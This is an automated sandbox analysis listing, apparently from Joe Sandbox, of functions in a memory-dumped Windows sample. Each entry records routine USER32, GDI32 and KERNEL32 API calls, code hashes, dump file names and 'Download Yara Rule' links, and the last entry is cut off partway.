Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: CompatibleConditionCreateHashMask$BitmapClientImplImpl::InfoMetricsRectSystemVerifyVersion
String ID:
API String ID: 2548309268-0
Opcode ID: 82c27359a8ee893a8ec603a520ff70351629309f6643435b7e2d2c9ef6664bf3
Instruction ID: cbd7d2a568dc102b2383f7adcc2a955cc0c66a2069210fc3c35a78d4704e1f94
Opcode Fuzzy Hash: 82c27359a8ee893a8ec603a520ff70351629309f6643435b7e2d2c9ef6664bf3
Instruction Fuzzy Hash: E551783A600B4096EB22DB13E844BDAB3A4F788BD4F458225AF9D477B0DF78C941C300

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400BE0FC Relevance: 6.1, APIs: 4, Instructions: 122windowCOMMON

Download Yara Rule

APIs

DestroyMenu.USER32 ref: 00000001400BE14F
IsWindow.USER32 ref: 00000001400BE162
SendMessageW.USER32 ref: 00000001400BE17E
Concurrency::details::ExternalContextBase::~ExternalContextBase.LIBCONCRT ref: 00000001400BE1F0

Part of subcall function 00000001401204DC: GetParent.USER32 ref: 000000014012057E

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ContextExternal$BaseBase::~Concurrency::details::DestroyMenuMessageParentSendWindow
String ID:
API String ID: 3377428259-0
Opcode ID: e4f421f3e79e49b9cc329e02afb8855fd147e268266daeed115d49ad3933ad66
Instruction ID: d962a2f2363353030750f178abb242cf5ce70a04505abfd0961c9ed8a4cbc686
Opcode Fuzzy Hash: e4f421f3e79e49b9cc329e02afb8855fd147e268266daeed115d49ad3933ad66
Instruction Fuzzy Hash: C5513E36206B8092EB16DF6AE4907DD7364F78ABA0F595222DBAA437F5CF38C541C340

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140048334 Relevance: 6.1, APIs: 4, Instructions: 120windowCOMMON

Download Yara Rule

APIs

EnableMenuItem.USER32 ref: 0000000140048460
GetFocus.USER32 ref: 000000014004847B
GetParent.USER32 ref: 0000000140048489
SendMessageW.USER32 ref: 00000001400484A4

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: EnableFocusItemMenuMessageParentSend
String ID:
API String ID: 2297321873-0
Opcode ID: ec3ab5d7eddb47a3bfcee46bf8643b14647963ba0ec1eaf43b0390d819b84c06
Instruction ID: 9b9bf5d4e62fd6906cb759be4199f812e73c27ef47e0bb0297ea3ccd709b95ea
Opcode Fuzzy Hash: ec3ab5d7eddb47a3bfcee46bf8643b14647963ba0ec1eaf43b0390d819b84c06
Instruction Fuzzy Hash: 0E418736610A8582EB26EF17E4443AE6360F788FD4F254621EF4947BA5CF78C882C748

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140060618 Relevance: 6.1, APIs: 4, Instructions: 113windowCOMMON

Download Yara Rule

APIs

IsWindow.USER32 ref: 0000000140060650

Part of subcall function 0000000140035158: _CxxThrowException.LIBVCRUNTIME ref: 0000000140035174

Part of subcall function 000000014005FC30: IsWindow.USER32 ref: 000000014005FC4C
Part of subcall function 000000014005FC30: SendMessageW.USER32 ref: 000000014005FC78
Part of subcall function 000000014005FC30: SendMessageW.USER32 ref: 000000014005FC91
Part of subcall function 000000014005FC30: SendMessageW.USER32 ref: 000000014005FCC9
Part of subcall function 000000014005FC30: SendMessageW.USER32 ref: 000000014005FCE2

Part of subcall function 00000001400D06A0: SendMessageW.USER32 ref: 00000001400D06D0

Part of subcall function 00000001400D0704: SendMessageW.USER32 ref: 00000001400D0734

SendMessageW.USER32 ref: 00000001400606F4
SendMessageW.USER32 ref: 0000000140060735
SendMessageW.USER32 ref: 000000014006074A

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$Window$ExceptionThrow
String ID:
API String ID: 3204612718-0
Opcode ID: eb4f13a8cc8d87589b06f2f5028dbcf122fb1d8d6ffd416161425efe21cb9069
Instruction ID: 30a530776736487b1b6cb2d7495a57dd06332d1767159d6a2ec092dd10bdeaca
Opcode Fuzzy Hash: eb4f13a8cc8d87589b06f2f5028dbcf122fb1d8d6ffd416161425efe21cb9069
Instruction Fuzzy Hash: A941AF32315A8492E612AB27E8547EF6351FBC97E4F540625BBAE477E6EE78C4018B00

Uniqueness

Uniqueness Score: -1.00%

Function 000000014006674C Relevance: 6.1, APIs: 4, Instructions: 95COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32 ref: 00000001400667E5
RedrawWindow.USER32 ref: 00000001400667FD
IsRectEmpty.USER32 ref: 0000000140066860
RedrawWindow.USER32 ref: 0000000140066891

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: EmptyRectRedrawWindow
String ID:
API String ID: 1437620686-0
Opcode ID: aa3b6faf84aaa753399250a42ad664628a40eae6b75006fc2550d449fe025e34
Instruction ID: 76d3c56bf9cb744e4cde3e6f0184510c0e4f31488f664b6d9d267d4982c57f45
Opcode Fuzzy Hash: aa3b6faf84aaa753399250a42ad664628a40eae6b75006fc2550d449fe025e34
Instruction Fuzzy Hash: 8641DD32704A808AEB25CB36D950BEE63A2F78CB84F244624EF4D47B65DF38E4518F00

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140114724 Relevance: 6.1, APIs: 4, Instructions: 88COMMON

Download Yara Rule

APIs

GetClientRect.USER32 ref: 000000014011475F
BeginDeferWindowPos.USER32 ref: 000000014011476A
EndDeferWindowPos.USER32 ref: 00000001401147A4
GetWindowRect.USER32 ref: 00000001401147EA

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Window$DeferRect$BeginClient
String ID:
API String ID: 3800593763-0
Opcode ID: 62a01d58e439226be9bbd1009cc8fec2fb16f01d077a59a13304d29bfaf7f516
Instruction ID: 57581e6e8f68eecfd72a030638c2a0ffe541ad9b32e3e8f402d6491087e163dc
Opcode Fuzzy Hash: 62a01d58e439226be9bbd1009cc8fec2fb16f01d077a59a13304d29bfaf7f516
Instruction Fuzzy Hash: AC414733620A809EE721DF3AD484BDD77A1F78CB98F444216AB4857A58DF38D695CB00

Uniqueness

Uniqueness Score: -1.00%

Function 000000014015E4D8 Relevance: 6.1, APIs: 4, Instructions: 86windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 000000014015E552
GetWindow.USER32 ref: 000000014015E5A3
SendMessageW.USER32 ref: 000000014015E5E9
std::ios_base::~ios_base.LIBCPMT ref: 000000014015E601

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$Windowstd::ios_base::~ios_base
String ID:
API String ID: 3123351323-0
Opcode ID: 7bc46f943ad044217d694abb6694cd8a051b5b92afedbd71f59823a43b5bf2ff
Instruction ID: 6994de1d11bf44b854a6a20a6e0f162e2116b226e822cb20abed6f6f0baaa3cb
Opcode Fuzzy Hash: 7bc46f943ad044217d694abb6694cd8a051b5b92afedbd71f59823a43b5bf2ff
Instruction Fuzzy Hash: 7C315D36620A4082EA26AB27E4947DA67A1AB8DFC4F5C4521EB5D4B7F5FE39C401C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014004E4BC Relevance: 6.1, APIs: 4, Instructions: 84COMMON

Download Yara Rule

APIs

SetRectEmpty.USER32 ref: 000000014004E4D4
GetClientRect.USER32 ref: 000000014004E4F7
GetParent.USER32 ref: 000000014004E51A
OffsetRect.USER32 ref: 000000014004E5B1

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$ClientEmptyOffsetParent
String ID:
API String ID: 3819956977-0
Opcode ID: 95e072499462306d46b0167690d9bb3a77eb6cc0a87a25c7d4317ed0bd38fa78
Instruction ID: c3d03b80bdafaba8d5c4d597e87ec3106444f82193d1fb542ac17ea60ad1883f
Opcode Fuzzy Hash: 95e072499462306d46b0167690d9bb3a77eb6cc0a87a25c7d4317ed0bd38fa78
Instruction Fuzzy Hash: C3316036601681D7DB59CB27E68479973A1FB8CB84F04C025DB5E87BA5EF38E460C700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014005C454 Relevance: 6.1, APIs: 4, Instructions: 80COMMON

Download Yara Rule

APIs

GetParent.USER32 ref: 000000014005C474

Part of subcall function 000000014003AA14: IsWindowEnabled.USER32 ref: 000000014003AA2E

GetNextDlgGroupItem.USER32 ref: 000000014005C4AC
GetNextDlgGroupItem.USER32 ref: 000000014005C546

Part of subcall function 000000014003A82C: GetWindowLongW.USER32 ref: 000000014003A849

RedrawWindow.USER32 ref: 000000014005C535

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Window$GroupItemNext$EnabledLongParentRedraw
String ID:
API String ID: 2934814974-0
Opcode ID: 4ada5e95ed0d014fdb6789e21436ae31e14ba63253ba0d09c18a0f1ec0e47f67
Instruction ID: 3a920cd360b95adb34fb5c75bf41c6d17e247e378a0aad47cb2160025958b3e9
Opcode Fuzzy Hash: 4ada5e95ed0d014fdb6789e21436ae31e14ba63253ba0d09c18a0f1ec0e47f67
Instruction Fuzzy Hash: B931C232711A5085FB56DB23E559BEA23E1E78DFC0F481020FF4A1BBA5EE7AD4818700

Uniqueness

Uniqueness Score: -1.00%

Function 000000014017A0C4 Relevance: 6.1, APIs: 4, Instructions: 74windowCOMMON

Download Yara Rule

APIs

CreateBitmap.GDI32 ref: 000000014017A13A
CreatePatternBrush.GDI32 ref: 000000014017A150
CreateBitmap.GDI32 ref: 000000014017A19F
CreatePatternBrush.GDI32 ref: 000000014017A1B5

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Create$BitmapBrushPattern
String ID:
API String ID: 3280665104-0
Opcode ID: 8b89a59ff4f686e3168d13f816cc6e1677d858596a705abfdf61e9bac59f3ac7
Instruction ID: 2660ca19d9b486403bb7d1666a4ab8f856548dd3bf2f3bf28cca368ca9fb7b6d
Opcode Fuzzy Hash: 8b89a59ff4f686e3168d13f816cc6e1677d858596a705abfdf61e9bac59f3ac7
Instruction Fuzzy Hash: 8F315436B10A4099E701CFB2D848BDD37B5F748798F114229DE992BBA8DF79CA49C740

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400447D4 Relevance: 6.1, APIs: 4, Instructions: 68windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?,?,0000000140041F6D), ref: 0000000140044828
SendMessageW.USER32 ref: 000000014004486B
GetCapture.USER32 ref: 0000000140044892
SendMessageW.USER32 ref: 00000001400448A8

Part of subcall function 0000000140035158: _CxxThrowException.LIBVCRUNTIME ref: 0000000140035174

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend$CaptureExceptionThrow
String ID:
API String ID: 4269541544-0
Opcode ID: 89c370427e6c129ca020539a86d81e13c3361de29c7cdb3c517b144c372e6020
Instruction ID: 5647a779f0103945b8853082137ecd68faa50d223d7264888b7e092a9260f11f
Opcode Fuzzy Hash: 89c370427e6c129ca020539a86d81e13c3361de29c7cdb3c517b144c372e6020
Instruction Fuzzy Hash: E121AE3671069082EB219B66E595BAE2760FBCDFC8F584015EF0807F65DFB9C4118B44

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140052820 Relevance: 6.1, APIs: 4, Instructions: 61COMMON

Download Yara Rule

APIs

FindResourceW.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000001400508BB), ref: 0000000140052857
LoadResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000001400508BB), ref: 0000000140052871
LockResource.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000001400508BB), ref: 0000000140052887
GlobalFree.KERNEL32 ref: 00000001400528CD

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Resource$FindFreeGlobalLoadLock
String ID:
API String ID: 3898064442-0
Opcode ID: a49d86ff4c02732de2cae908410566f00872496c7d233b15af2aedf6b78e7c8d
Instruction ID: 6396b2f4822d17d21fe02d8ca357f19beec1d17214c3895e207180b339210ea0
Opcode Fuzzy Hash: a49d86ff4c02732de2cae908410566f00872496c7d233b15af2aedf6b78e7c8d
Instruction Fuzzy Hash: FB215035602B8181EB56EB5395543EDA7A1EF8DFD4F098421FF490BBA9DF39C4818300

Uniqueness

Uniqueness Score: -1.00%

Function 00000001400506FC Relevance: 6.1, APIs: 4, Instructions: 58COMMON

Download Yara Rule

APIs

CreateDialogIndirectParamW.USER32 ref: 0000000140050760
GetLastError.KERNEL32 ref: 000000014005078C
DeactivateActCtx.KERNEL32 ref: 000000014005079F
SetLastError.KERNEL32 ref: 00000001400507AB

Part of subcall function 0000000140036568: OutputDebugStringA.KERNEL32 ref: 0000000140036588
Part of subcall function 0000000140036568: ActivateActCtx.KERNEL32 ref: 00000001400365B3
Part of subcall function 0000000140036568: GetLastError.KERNEL32 ref: 00000001400365BD

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: ErrorLast$ActivateCreateDeactivateDebugDialogIndirectOutputParamString
String ID:
API String ID: 475891805-0
Opcode ID: d88a8087bbbe54ca75af1e7a50d9bdf41be3913e0fef696c103c3c00766741d5
Instruction ID: f9761eb50b71cd9cf4c22c2fc3b65b6dad59b5743b42679a0271525772433746
Opcode Fuzzy Hash: d88a8087bbbe54ca75af1e7a50d9bdf41be3913e0fef696c103c3c00766741d5
Instruction Fuzzy Hash: EA214F35A14B4985FB52CF53A48879EA2E5F75CBD0F144025EB49477F4CBB8D846CB40

Uniqueness

Uniqueness Score: -1.00%

Function 0000000140076428 Relevance: 6.1, APIs: 4, Instructions: 57COMMON

Download Yara Rule

APIs

GetCursorPos.USER32 ref: 000000014007648F
GetWindowRect.USER32 ref: 00000001400764B5
PtInRect.USER32 ref: 00000001400764C5
CallNextHookEx.USER32 ref: 00000001400764EF

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: Rect$CallCursorHookNextWindow
String ID:
API String ID: 3719484595-0
Opcode ID: d6e933d3c143d465a2df9c32cfcb6dfd97fe8579f4639d93d840c917cc6ac130
Instruction ID: 6dbe3aa4d73e3ab352a695cf67dccf78d9f3f150eed419816eafe2b1d1156e0c
Opcode Fuzzy Hash: d6e933d3c143d465a2df9c32cfcb6dfd97fe8579f4639d93d840c917cc6ac130
Instruction Fuzzy Hash: CC214F76224A4481FA629B27E85C7A667A0F78CBE9F180111EB8E477B4CF7CC945C740

Uniqueness

Uniqueness Score: -1.00%

Function 000000014016E6B8 Relevance: 6.1, APIs: 4, Instructions: 55windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32 ref: 000000014016E6E9
SendMessageW.USER32 ref: 000000014016E705
SendMessageW.USER32 ref: 000000014016E724
SendMessageW.USER32 ref: 000000014016E77D

Memory Dump Source

Source File: 00000000.00000002.3316684941.0000000140001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000140000000, based on PE: true

Associated: 00000000.00000002.3316664841.0000000140000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3316911156.0000000140213000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317003242.00000001402D5000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317023112.00000001402D8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402E3000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317043719.00000001402EA000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.3317105290.00000001402ED000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_140000000_SecuriteInfo.jbxd

Similarity

API ID: MessageSend
String ID:
API String ID: 3850602802-0
Opcode ID: c98e1648cdcdb261d477cee59c99308557e3c409976aa8185f2f0406b67515bc
Instruction ID: 903ccc5247ad050d3764e8bd27d144568a783df9b9aeb36a463d3b8d0765fc31
